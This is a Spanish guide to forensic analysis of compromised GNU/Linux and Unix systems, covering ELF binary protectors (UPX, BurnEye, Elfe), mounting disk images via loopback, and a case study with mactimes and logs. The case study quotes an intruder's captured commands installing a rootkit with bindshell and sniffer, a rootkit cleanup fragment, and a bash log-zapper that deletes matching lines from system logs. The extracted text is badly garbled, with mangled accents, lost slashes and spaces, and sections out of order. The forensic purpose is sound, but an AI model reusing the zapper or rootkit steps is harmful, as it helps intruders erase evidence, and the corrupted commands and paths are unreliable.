principio los especialistas en ingenieriacutea inversa conseguiacutean por placer o por negocio evitar los meacutetodos de proteccioacutende los ejecutables que bajo win32 ya entonces teniacutean muacuteltiples teacutecnicas de proteccioacuten En actualidad un ficheroejecutable bajo Windows (PE) puede estar perfectamente cifrado empaquetado ofuscado y wrappeado al visa versa ala hora de ejecucioacuten lo que muestra la evolucioacuten de un binario simple haciacutea un ejecutable propiamente protegido loque proporciona la seguridad a la empresa desarrolladora que su software no podraacute ser utilizado de forma ilegal porlo menos por el puacuteblico general

Y lo uacutenico (que generalmente se conoce) que podemos hacer actualmente con un binario ELF es quitarle la tabla desiacutembolos o en otras palabras strippearlo que que no ofrece ninguacuten tipo de proteccioacuten

Existen pocas herramientas de proteccioacuten son experimentales y se conocenutilizan solo por los hackers de nivel altomedio-alto A la hora de realizar un anaacutelisis forense nos encontraremos con binarios que el intruso ha ido dejandoen el sistema y necesitariacuteamos saber las funciones de cada uno de ellos teniendo en cuenta que ejecucioacuten de binariosdesconocidos puede provocar un desastre si no estamos seguros de la funcioacuten de los mismos

112 Meacutetodos de Proteccioacuten

En las investigaciones rutinarias de casos de defacements de paacuteginas web o de utilizacioacuten de la maacutequina compro-metida como cluster DDoS no es frecuente encontrar binarios protegidos ya que la mayoriacutea de herramientas estaacutencirculando por la red de forma abierta Mientras que en los compromisos de sistemas importantes como de Ban-cos Liacuteneas Aeacutereas o Universidades el nivel de intruso es tecnoloacutegicamente y intelectualmente superior por lo tantotambieacuten lo son sus herramientas Hasta que no sepamos el propoacutesito de cada uno de las herramientas del intruso nopodremos concluir la investigacioacuten con eacutexito

Podemos encontrar siguientes meacutetodos de proteccioacuten de binarios en este caso seguacuten el nivel del atacante y tipo deherramienta utilizada Puede que se utilicen de forma individual o de forma combinada para complicar el trabajo delinvestigador

bull UPX [3] - Ultimate Packer for eXecutables los intrusos con un nivel de conocimientos bajo o medio utilizancompresor de ejecutables UPX como una herramienta de proteccioacuten de sus aplicaciones Este software tienesoporte para reducir el tamantildeo de binarios de tipo dosexe doscom dossys djgpp2coff watcomle elf y etc atraveacutes de las funciones de la libreriacutea UCL escrita en ANSI C por lo tanto ofuscando su contenido a nivel superficial

Si observamos el output del comando strings vemos que es faacutecilmente detectable por la cadena de texto $Id UPX122 Copyright (C) 1996-2002 the UPX Team All Rights Reserved $ en caso de que UPX no ha sido modificadoEn otros casos cuando el intruso puso su empentildeo en modificar la fuentes de UPX para confundir (aun mas) aladministrador el binario sigue perfectamente reconocible observando las cadenas tmpupxAAAAAAAAAAAprof etc en el fichero Para desempaquetar el binario debemos instalarnos UPX y ejecutar el siguientecomando

46

[ervinactivalinkcom ervin]$ upx -d ltfichero empaquetadogt

bull BurnEye [4] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-altoque conocen la estructura de binarios ELF BurnEye ofrece 3 niveles de proteccioacuten de binarios ELF por capasofuscacioacuten de coacutedigo cifrado de aplicacioacuten a traveacutes de contrasentildea y teacutecnica de OS fingerprinting

Nivel 1 El primer nivel de proteccioacuten realiza un cifrado del binario y utiliza la teacutecnica de inyeccioacuten de coacutedigodentro del binario ELF El coacutedigo es un motor de descifrado que a la hora de ejecutar el programa v

descifra su contenido y lo ejecuta Podemos detectar si el binario estaacute protegido con el primer nivel de BurnEye si su output de strings contiene la cadena TEEE burneye - TESO ELF Encryption Engine En caso de que el intruso haya modificado las fuentes de BurnEye y no se observe la cadena de texto en el output se puede detectar ese nivel de proteccioacuten a traveacutes de GDB Esa proteccioacuten implementa ademaacutes una trampa para debuggers que utilizan llamada de sistema ptrace()

[ervinactivalinkcom dev]$ gdb ltbinario encriptado con burneye nivel 1gt GNU gdb 52 Copyright 2002 Free Software Foundation Inc [] This GDB was configured as i686-pc-linux-gnu(no debugging symbols found) (gdb) r Starting program devvalidate_MoD warning shared library handler failed to enable breakpoint

Program received signal SIGTRAP Tracebreakpoint trap 0x053714c7 in () (gdb)

Normalmente el SIGTRAP en binarios protegidos con BurnEye suele estar situado en 0x053714c7 Ese nivel de proteccioacuten de binarios puede ser superado realizando un dump de memoria con herramienta memdump y extraccioacuten manual del motor de cifrado (Ver [5] para maacutes informacioacuten)

Nivel 2 El segundo nivel de proteccioacuten de binarios es maacutes completo que el anterior Su funcionamiento utiliza la misma teacutecnica de inyeccioacuten de coacutedigo dentro de ELF y cifrado (wrapping) Soacutelo que en este caso el motor que se inserta dentro del binario tiene capacidad de cifrar y descifrar informacioacuten realizando una comprobacioacuten por contrasentildea como clave de cifrado (SHA1) Una vez la clave ha sido aceptada el nivel de control utiliza RC4 para descifrar el binario original

Para detectar la diferencia entre el nivel 1 y nivel 2 hay que ejecutar el programa Por lo tanto hay que asegurarse que no es ni sGID sUID Si lo es hay que crear un usuario con privilegios muy limitados cambiar la pertenencia del fichero y quitarle sGID y sUID A continuacioacuten se puede intentar obtener el listado de libreriacuteas dinaacutemicas utilizadas por el binario

[ervinactivalinkcom dev]$ ldd void ldd libld-linuxso2 exited with unknown exit code (139)

Si se produce el output similar entonces queda confirmado que el binario estaacute cifrado y la uacutenica opcioacuten que tenemos es intentar ejecutarlo pero soacutelo desde la cuenta del usuario con menos privilegios por razones de seguridad

[nooneactivalinkcom dev]$ void password invalid key

Una vez ejecutado el fichero vemos que nos solicita la contrasentildea y si pulsamos Enter nos informa que la clave no es correcta Ahora estamos seguros que el fichero estaacute cifrado con BurnEye con proteccioacuten de Nivel 2 Este nivel de proteccioacuten es faacutecil de romper como el anterior seraacute necesario utilizar las teacutecnicas de debugging avanzadas y buen conocimiento de ensamblador [6] Se aconseja utilizar un debugger que no utilice llamada de sistema ptrace() para intentar saltar la proteccioacuten de binarios protegidos [7] La interaccioacuten entre el motor de cifrado con el binario original es todaviacutea deacutebil por lo tanto teoacutericamente se puede utilizar teacutecnicas de unwrapping pero si la contrasentildea ha sido elegida bien por el intruso el binario es casi indescifrable

Nivel 3 Esta capa de proteccioacuten tiene un modo de funcionamiento diferente a los niveles anteriores Este nivel asegura que el binario no pueda ser ejecutado en otro sistema que no sea el de maacutequina doacutende ha sido encontrado (utilizado) El binario incluye internamente un sello del equipo permitido Y cada vez que se ejecuta el motor de cifrado interno busca el sello de la maacutequina y si no coincide con el fingerprint almacenado dentro del algoritmo no permite la ejecucioacuten de la aplicacioacuten El sello es uacutenico en cada maacutequina que se calcula a traveacutes de un algoritmo propio desarrollado por TESO utiliza valores sysinstall procpci proccpu procmem procroute procpartitions (proc en general) para generar un uacutenico sello (fingerprint) Los binarios protegidos con eacuteste nivel de BurnEye heredan las mismas pruebas que los niveles anteriores output strings breakpoint trap etc

Si estamos estudiando el binario doy por sentado que nos encontramos en una estacioacuten de anaacutelisis y no en el equipo comprometido por lo tanto si intentamos ejecutar la aplicacioacuten protegida con este nivel de BurnEye en un entorno seguro (no sUID no sGID y como usuario con privilegios limitados) obtendremos el siguiente output

[chrootedbetaactivalinkcom chrooted] output invalid fingerprint Es casi imposible de obtener el binario original si no nos encontramos en la maacutequina con un sello reconocido por el ejecutable ya que el fichero original estaacute cifrado y se descifra con el stream cipher RC4

47

bull Elfe [8] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-alto queconocen la estructura de binarios ELF Elfe ofrece 1 nivel de proteccioacuten de binarios ELF a traveacutes de RC4 Atraveacutes de esta herramienta se puede especificar cual de las secciones del binario (text data rodata) se quiereproteger Esa aplicacioacuten funciona soacutelo bajo la arquitectura x86 y uacutenicamente puede proteger binarios producidospor el compilador gcc y stripeados tiene soporte para binarios linkados de forma estaacutetica asiacute como dinaacutemica

Comparando esa herramienta con las anteriores podemos decir que ofrece menor nivel de proteccioacuten que BurnEye y mayor que UPX Se puede detectar faacutecilmente que el binario estaacute cifrado con Elfe ya que el output de la utilidad strings informa en las uacuteltimas liacuteneas un texto similar

password Done Returning to program QZ^amp Tambieacuten podemos encontrar en el output cadenas de texto de las secciones que no han sido cifradas ya que Elfe se limita a cifrar soacutelo text data rodata maacuteximo y si no se especifica soacutelo la seccioacuten text Las herramientas strace objdump de la coleccioacuten de herramientas binutils nos podraacuten ser de utilidad Si se ejecuta la aplicacioacuten sin saber la contrasentildea correcta la aplicacioacuten puede colgarse o producir SIGSEGV Segmentation Fault

Aunque el meacutetodo de proteccioacuten no implementa deteccioacuten de debuggers el nivel de dificultad de descifrado de binarios protegidos con Elfe es similar al 2ordm y 3ordm nivel de BurnEye (Para maacutes informacioacuten ver [9])

Hemos podido observar que las utilidades como BurnEye y Elfe tienen una mayor capacidad de ocultacioacuten delpropoacutesito del binario Si el intruso ha utilizado estas herramientas de forma correcta y precabida seriacutea casi imposiblede saber el objetivo del fichero El decifrado es posible pero complejo que necesita conocimientos avanzados deingenieriacutea inversa y anaacutelisis criptograacutefico

12 Apeacutendice B - Sistema de Ficheros Loopback de LinuxEl kernel de Linux tiene soporte vara muacuteltiples sistemas de fichero (ver man mount) tales como adfs affs autofscoda coherent devpts efs ext ext2 hfs hpfs iso9660 minix msdos ncpfs nfs ntfs proc qnx4 romfs smbfs sysvudf ufs umsdos vfat xenix xiafs

Los sistemas de ficheros coherent sysv y xenix son ideacutenticos y en el futuro no se mencionaraacuten los tres sino se limitaraacutea utilizar el nombre sysv

El soporte de una variedad de sistemas de ficheros por el kernel de GNULinux nos ofrece una buena plataformade anaacutelisis ya que no tendremos que cambiar ni de maacutequina ni de sistema operativo para estudiar un sistemacomprometido que no sea GNULinux

Linux tambieacuten tiene soporte para dispositivos loopback que permiten montar un sistema de ficheros dentro delfichero Este meacutetodo se utiliza dentro de los discos arrancables CD-ROMs auto-ejecutables sistemas de ficherocifrados para laptops etc Para maacutes informacioacuten podemos leer siguiente documentacioacuten de losetup(8) mount(8) [30]

Los dispositivos loop en las versiones anteriores de GNULinux eran 8 por defecto y se utilizaban de forma indirectapor el comando mount mientras que actualmente son 16 Estos dispositivos se encuentran en el directorio dev juntocon el resto de dispositivos

48

[staticlowershaftactivalink dev]$ ls -l devloopbrw-rw---- 1 root root 7 0 Apr 11 1625 devloop0brw-rw---- 1 root root 7 1 Apr 11 1625 devloop1brw-rw---- 1 root root 7 10 Apr 11 1625 devloop10brw-rw---- 1 root root 7 11 Apr 11 1625 devloop11brw-rw---- 1 root root 7 12 Apr 11 1625 devloop12brw-rw---- 1 root root 7 13 Apr 11 1625 devloop13brw-rw---- 1 root root 7 14 Apr 11 1625 devloop14brw-rw---- 1 root root 7 15 Apr 11 1625 devloop15brw-rw---- 1 root root 7 2 Apr 11 1625 devloop2brw-rw---- 1 root root 7 3 Apr 11 1625 devloop3brw-rw---- 1 root root 7 4 Apr 11 1625 devloop4brw-rw---- 1 root root 7 5 Apr 11 1625 devloop5brw-rw---- 1 root root 7 6 Apr 11 1625 devloop6brw-rw---- 1 root root 7 7 Apr 11 1625 devloop7brw-rw---- 1 root root 7 8 Apr 11 1625 devloop8brw-rw---- 1 root root 7 9 Apr 11 1625 devloop9

Combinar dos utilidades como dd y mount es maacutes faacutecil de lo que puede pensar Puede hacer una prueba copiandoimaacutegenes de cada particioacuten con dd del sistema de ficheros de la viacutectima los copia a su sistema y les monta utilizandodispositivos loopback Para nuestro ejemplo las particiones fueron obtenidos de un disco duro interno de una SunSPARC ejecutando Solaris 25

ls -l c0t3d0-rw-r--r-- 1 root root 189399040 Sep 14 1244 c0t3d0s0dd-rw-r--r-- 1 root root 171991040 Sep 14 1315 c0t3d0s1dd-rw-r--r-- 1 root root 220733440 Sep 14 1257 c0t3d0s3dd-rw-r--r-- 1 root root 269475840 Sep 14 1251 c0t3d0s6dd-rw-r--r-- 1 root root 515973120 Sep 14 1348 c0t3d0s7dd

Puede montar la imagen en modo solo lectura especificando que es un sistema de ficheros UFS de tipo sun y quedeseamos utilizar un dispositivo loopback de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s0dd t

Desde aquiacute podemos determinar donde apuntaban el resto de las particiones buscando el dispositivo en el sistema deviacutectima etcvfstab (montado en este ejemplo bajo t)

grep c0t3d0 tetcvfstab

49

devdskc0t3d0s1 - - swap - no -devdskc0t3d0s0 devrdskc0t3d0s0 ufs 1 no -devdskc0t3d0s6 devrdskc0t3d0s6 usr ufs 1 no -devdskc0t3d0s3 devrdskc0t3d0s3 var ufs 1 no -devdskc0t3d0s7 devrdskc0t3d0s7 exporthome ufs 2 yes -

Ahora podemos montar otras particiones de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s3dd tvar mount -o roloopufstype=sun -t ufs c0t3d0s6dd tusr mount -o roloopufstype=sun -t ufs c0t3d0s7dd texporthome

Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo grave-robber

dfFilesystem 1k-blocks Used Available Use Mounted on

xc0t3d0s0dd 173791 68725 87696 44 txc0t3d0s3dd 202423 26148 156035 14 tusrxc0t3d0s6dd 246743 197592 24481 89 tvarxc0t3d0s7dd 473031 111506 314225 26 texporthome

mount

xc0t3d0s0dd on t type ufs (roloop=devloop0ufstype=sun)xc0t3d0s3dd on tusr type ufs (roloop=devloop1ufstype=sun)xc0t3d0s6dd on tvar type ufs (roloop=devloop2ufstype=sun)xc0t3d0s7dd on texporthome type ufs (roloop=devloop3ufstype=sun)

121 Conclusiones

Con el transcurso de tiempo las empresas que manejan la informacioacuten privilegiada han aprendido que para asegurarla integridad privacidad de informacioacuten no se debe ahorrar en sistemas de seguridad planes de contingencia Losadministradores sin previa experiencia de anaacutelisis forense no deben precipitarse a la hora de reestablecer el servidorparcheandolo rapidamente para que esteacute operativo lo antes posible ya que soacutelo un anaacutelisis forense exhaustivo puededeterminar el alcanze del incidente y responder a todas las preguntas que surgen tras sufrir un ataque

50

13 Referencias

1Anaacutelisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad deWashington

2RootKit - Un rootkit es un conjunto de herramientas que garantizan el acceso posterior al sistema facilitan elpotencial acceso a otros servidores facilitan el borrado de huellas del atacador intentan esconder al atacante delos usuarios legiacutetimos del sistema

3Ataque de Limpieza - Es un tipo de ataque informaacutetico local o remoto cuyo objetivo es la eliminacioacuten de laspruebas de compromiso anterior El resultado de este tipo de ataques puede ser un destrozo de informacioacuten enun equipo anteriormente comprometido o de un forense informaacutetico El atacante intenta llevar acabo un borradode informacioacuten masivo utilizando las teacutecnicas de eliminacioacuten de informacioacuten por sobre escritura si se trata de unataque remoto yo deformacioacuten magneacutetica y des-magnetizacioacuten de medios si se trata de un ataque local

4UPX - Ultimate Packer for eXecutables (httpupxsourceforgenet) Una herramienta para comprimir elejecutable a fin de reducir su tamantildeo

5BurnEye - Una herramienta desarrollada por el grupo TESO (httpwwwteam-tesonet) que utiliza las teacutecnicasde inyeccioacuten de coacutedigo en ejecutables de tipo ELF La aplicacioacuten ofrece 3 niveles de proteccioacuten ofuscacioacuten decoacutedigo proteccioacuten con contrasentildea y fingerprinting

6BurnEye Nivel 1 - Para maacutes informacioacuten sobre el meacutetodo de obtener el binario original de uno ofuscado veanhttpwwwactivalinkcomreviewselfphp y httpwwwphrackcomshowphpp=58

7Burneye Nivel 2 - Para maacutes informacioacuten sobre meacutetodos de ingenieriacutea inversa de binarios protegidos con el nivel2 de proteccioacuten de BurnEye ver un caso praacutectico httpwwwincidentsorgpapersssh_exploitpdf

8Fenris - Un debugger popular y potente ya que interactuacutea con el sistema operativo y libc a un bajo nivel sinutilizar las llamadas ptrace() ver httprazorbindviewcomtoolsfenris

9Elfe - Lightweight Elf Encryptor (httpstealth7350org) Una herramienta desarrollada por Stealth del grupoTESO que utiliza teacutecnicas de inyeccioacuten de un motor de cifrado dentro de un ejecutable La aplicacioacuten protege laejecucioacuten de un binario por una contrasentildea Eacuteste meacutetodo de proteccioacuten de ejecutables es menos fiable que 2ordm y3er nivel de BurnEye

10Phrack - Gnugq ha escrito un buen white paper sobre el tema de proteccioacuten run-time de binarios que incluyemaacutes informacioacuten sobre el tema wwwphrackcomshowphpp=58ampa=5

51

11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 40: Análisis Forense de Sistemas GNU/Linux, Unix

r00tfingercd vartmpls -alrm -rf bashftp XXXXXXXXXXXXanonymousassget XXXXtgzquituittar zxvf XXXXtgzchmod +x INSTALLls -al

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt GGGGGGGXXXXXXXXXXXXX [23]rsquoP$ 3840038400linuxr00t

pico etcrcdircinetd2rpcmomomomountd[A11mountd[A2pmountd[A[A[C[C[C[C[C[C[C[C[C[C[C[C[C[C[C[B[C[C [B[D[D[B[D[B[D ypico etcinetdconf[6~[6~killall -HUP inetdcat etcinetdconfps auxkill -9 cd devmkdir XXXXXXXXcd XXXXXXXXpico LSXXXXXXXXXXXXXypico PS3 bindshell3 linsnifferyps auxkill -9 2541f

40

----- [Timed Out]

Eso muestra que el intruso estaba editando el fichero de configuracioacuten del rootkit referente al modus operandi de lautilidad ls (llamado LS) para esconder ficherosdirectorios con cadenas XXXXXX yo JJJJJJJJ en sus nombresTambieacuten ha modificado el fichero de configuracioacuten del rootkit para la utilidad ps (llamado PS) para esconder procesosbindshell y linsniffer en sus nombres

La letra y que aparece en las cadenas XXXXXXy y linsniffery son huellas del usuario que nos informan que hasido utilizado el editor pico El comando para guardar las modificaciones en los ficheros y salir en pico es Ctrl-X Siel fichero ha sido modificado de alguna forma el siguiente texto aparece

Save modified buffer (ANSWERING No WILL DESTROY CHANGES)

El usuario entonces debe teclear la letra y para guardar el fichero y salir El sniffer no captura el mensaje delsistema pero siacute el y Las entradas log del sniffer aquiacute muestran que se creoacute el directorio XXXXXXXX doacutende fueroninsertados los ficheros de configuracioacuten del rootkit y editados en siguiente orden Podemos observarlo en el listado demactime posiblemente atando este evento al diacutea 15 del XXX a las 0226

Sep 15 01 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPS

El diacutea 16 del Sep alguien crea una copia de seguridad del log del sniffer (snifferlogsave) movieacutendolo al directoriovartmpXXXXprograms Este fichero muestra los intentos de entrada de otros intrusos que tambieacuten acceden alfichero tcplog

Sep 16 01 215534 36088 a -rwxr-xr-x root bin xbinnetstatSep 16 01 215827 1024 mc drwxrwxrwx root root xvartmpSep 16 01 215852 6 a -rw-r--r-- root root xroottemptxtSep 16 01 225033 1024 a drwxr-xr-x root root xvartmpXXXXXSep 16 01 225102 6644 a -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 16 01 225716 1024 a drwxr-xr-x root root xvartmpXXXXXprograms

Sep 16 01 233951 1024 mc drwxr-xr-x root root xvartmpXXXXXprograms

4992 mac -rw-r--r-- root root xvartmpXXXXXprogramssnifferlogsave

41

El fichero roottemptxt contiene la uacutenica palabra blah en la liacutenea y una liacutenea en blanco Actualmente no se conocepara que sirvioacute el fichero El diacutea 17 del XXX se modifica la contrasentildea de alguacuten usuario se crea un fichero de copiade seguridad

Sep 17 01 124450 153384 a -rws--x--x root bin xusrbinpasswdSep 17 01 124505 1649 mc -rw-r--r-- root root xetcpasswd

1649 c -rw-r--r-- root root xetcpasswdOLD

A continuacioacuten el diacutea 17 del Sep alguien accede al servidor a traveacutes de telnet Por lo visto se obtiene el UIDdel usuario lp Modificaciones en devconsole indican que ocurrioacute tambieacuten una entrada de usuario en la consolafiacutesica Fechas de modificacioacuten han sido cambiadas en la aplicacioacuten de los logs del sniffer etc__tcplog y tambieacutenvartmpXXXXXprogramssnifferlog que significa que las aplicaciones han sido desactivadas

Sep 17 01 201344 296 a -rw-r--r-- root root xetchostsdeny40907 a -rwxr-xr-x root bin xusrsbintcpd

Sep 17 01 201345 40685 a -rwxr-xr-x root bin xusrsbinintelnetd25 mc -rw-rw-r-- root root xvarspoollp1status

Sep 17 01 201346 0 m crw-rw-rw- root root xdevconsole0 a crw-rw-rw- root root xdevptyp00 m crw-rw-rw- root root xdevttyp0

18476 mc -rw-r--r-- root root xetc___tcplog6644 mc -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 17 01 201350 0 c crw-rw-rw- root root xdevconsole0 c crw-rw-rw- root root xdevptyp00 c crw-rw-rw- root root xdevttyp0

El diacutea 18 de Sep se ejecuta la aplicacioacuten sendmail Las huellas en el sistema de ficheros nos muestran queposiblemente se envioacute a una direccioacuten de correo electroacutenico el fichero log del sniffer tcplog

Sep 18 01 053026 164060 a -r-sr-Sr-x root bin xusrsbinsendmail

Aparte de analizar el sistema de ficheros con detenimiento se han recuperado todos los ficheros eliminados utilizandola utilidad unrm de TCT Una examen de los ficheros recuperados mostroacute eliminacioacuten de algunos ficheros log yscripts El siguiente es una parte del script de instalacioacutenlimpieza que estaacute incluido con el rootkit

cp vartmpimap-d vartmpXXXXXprogramsimapdisrm -rf vartmpimap-decho 6 cleaning logs

42

cd vartmpXXXXXcp vartmpclean vartmpXXXXXprogramscleanrm -rf vartmpcleanvartmpXXXXXprogramsclean XXXXXXX 1gtdevnull 2gtdevnullvartmpXXXXXprogramsclean XXXXXX 1gtdevnull 2devnullvartmpXXXXXprogramsclean XXXX 1gtdevnull 2gtdevnullecho rootkit completeecho rember to disable imapdecho EOF

El siguiente es una parte del fichero log que muestra intentos de conexioacuten de intrusos

Sep 11 152611 XXXX infingerd[864] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX intelnetd[865] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX telnetd[865] ttloop peer died Try againSep 11 152612 XXXX inpop3d[866] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152613 XXXX intelnetd[867] connect from XXX-XXX-14XXXXXXXXXXXX

Sep 12 053620 XXXX intelnetd[1126] connect from DDDDDDXXXXXXXXX

Sep 12 110152 XXXX intelnetd[1213] connect from EEEEEEEXXXXXXSep 12 110221 XXXX su XXXXX on devttyp1

Sep 12 110428 XXXX inrlogind[1229] connect from CCCCCCCCXXXXXXXXXXXSep 12 110444 XXXX inrlogind[1230] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 110857 XXXX su XXXXX on devttyp1Sep 12 111119 XXXX su XXXXX on devttyp1

Sep 12 113305 XXXX intelnetd[1290] connect from AAAAAAXXXXXXXXXSep 12 113316 XXXX login 1 LOGIN FAILURE FROM AAAAAAXXXXXXXXX XXXSep 12 113321 XXXX login 2 LOGIN FAILURES FROM AAAAAAXXXXXXXXX XXX

Sep 12 113402 XXXX su XXXXX on devttyp1Sep 12 114152 XXXX wuftpd[1327] connect from BBBBBBBXXXXXXXXXSep 12 114157 XXXX ftpd[1327] USER XXXXXSep 12 114159 XXXX ftpd[1327] PASS passwordSep 12 114200 XXXX ftpd[1327] SYSTSep 12 114201 XXXX ftpd[1327] CWD tmpSep 12 114206 XXXX ftpd[1327] TYPE ImageSep 12 114206 XXXX ftpd[1327] PORTSep 12 114206 XXXX ftpd[1327] STOR mountdSep 12 114208 XXXX ftpd[1327] QUITSep 12 114208 XXXX ftpd[1327] FTP session closedSep 12 120025 XXXX intelnetd[1342] connect from AAAAAAXXXXXXXXX

43

Sep 12 120025 XXXX telnetd[1342] ttloop peer died Try again

Sep 12 125437 XXXX inrlogind[1358] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 195330 XXXX intelnetd[1459] connect from XXXX-XX-118XXXXXXXXXXXX

Sep 12 234732 XXXX intelnetd[1525] connect from XXXXXXXXXXXXXXXXXXXXXXXSep 12 234741 XXXX login 1 LOGIN FAILURE FROM XXXXXXXXXXXXXXXXXXXXXXX XXXXXSep 12 234855 XXXX su XXXXX on devconsoleSep 13 001238 XXXX intelnetd[1569] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 001254 XXXX su XXXXX on devconsole

Sep 13 064612 XXXX intelnetd[1673] connect from XXXXXXXXXXSep 13 070801 XXXX intelnetd[1679] connect from GGGGGGGXXXXXXXXXXXXXXXXXSep 13 070814 XXXX su XXXXX on devconsole

Sep 13 083005 XXXX intelnetd[1728] connect from FFFFFFFXXXXXXXXXXXXXXXXXSep 13 083022 XXXX intelnetd[1731] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 083234 XXXX intelnetd[1733] connect from FFFFFFFXXXXXXXXXXXXXXXXX

Sep 13 095842 XXXX su XXXXX on devconsole

El siguiente ejemplo es un extracto de script zapper que elimina las huellas dejadas por el intruso o restablece eltamantildeo de los ficheros log a 0 bytes No se sabe si existe una copia de este script en el sistema de ficheros activo

1 binbash

WHAT=$(binls -F varlog | grep -v | grep -v | grep -v tgz | grep -v gz | grep -v tar | grep -v )

for file in $WHATline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)echo -n Cleaning $file ($line lines)grep -v $1 varlog$file gt newmv -f new varlog$filenewline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)let linedel=$(($line-$newline))echo $linedel lines removed

doneecho

44

Los siguientes cadenas de texto pertenecen al fichero wtmp (leiacutedo por la utilidad last) Las horas no son obvias aquiacutepero los nombres de hosts siacute lo son

ftp4264ttyp13XXXXXXXXXXXXXXXXXttyp1Pftp46263XXXXXXXXXXXXXXXXXttyp13XXXXXXXXXXXXXXXXXftp4626ttyp1Pftp46393XXXXXXXXXXXXXXXXXXPftp4639Pftp46533XXXXXXXXXXXXXXXXXXftp4653Pftp47433XXXXXXXXXXXXXXXXXXXXX

11 Apeacutendice A - Meacutetodos de Proteccioacuten de Binarios

111 Introduccioacuten

Los sistemas operativos UnixLinux BSD se consideran por los especialistas como avanzados seguros y establesdebido a su disentildeo de arquitectura y gestioacuten de procesos

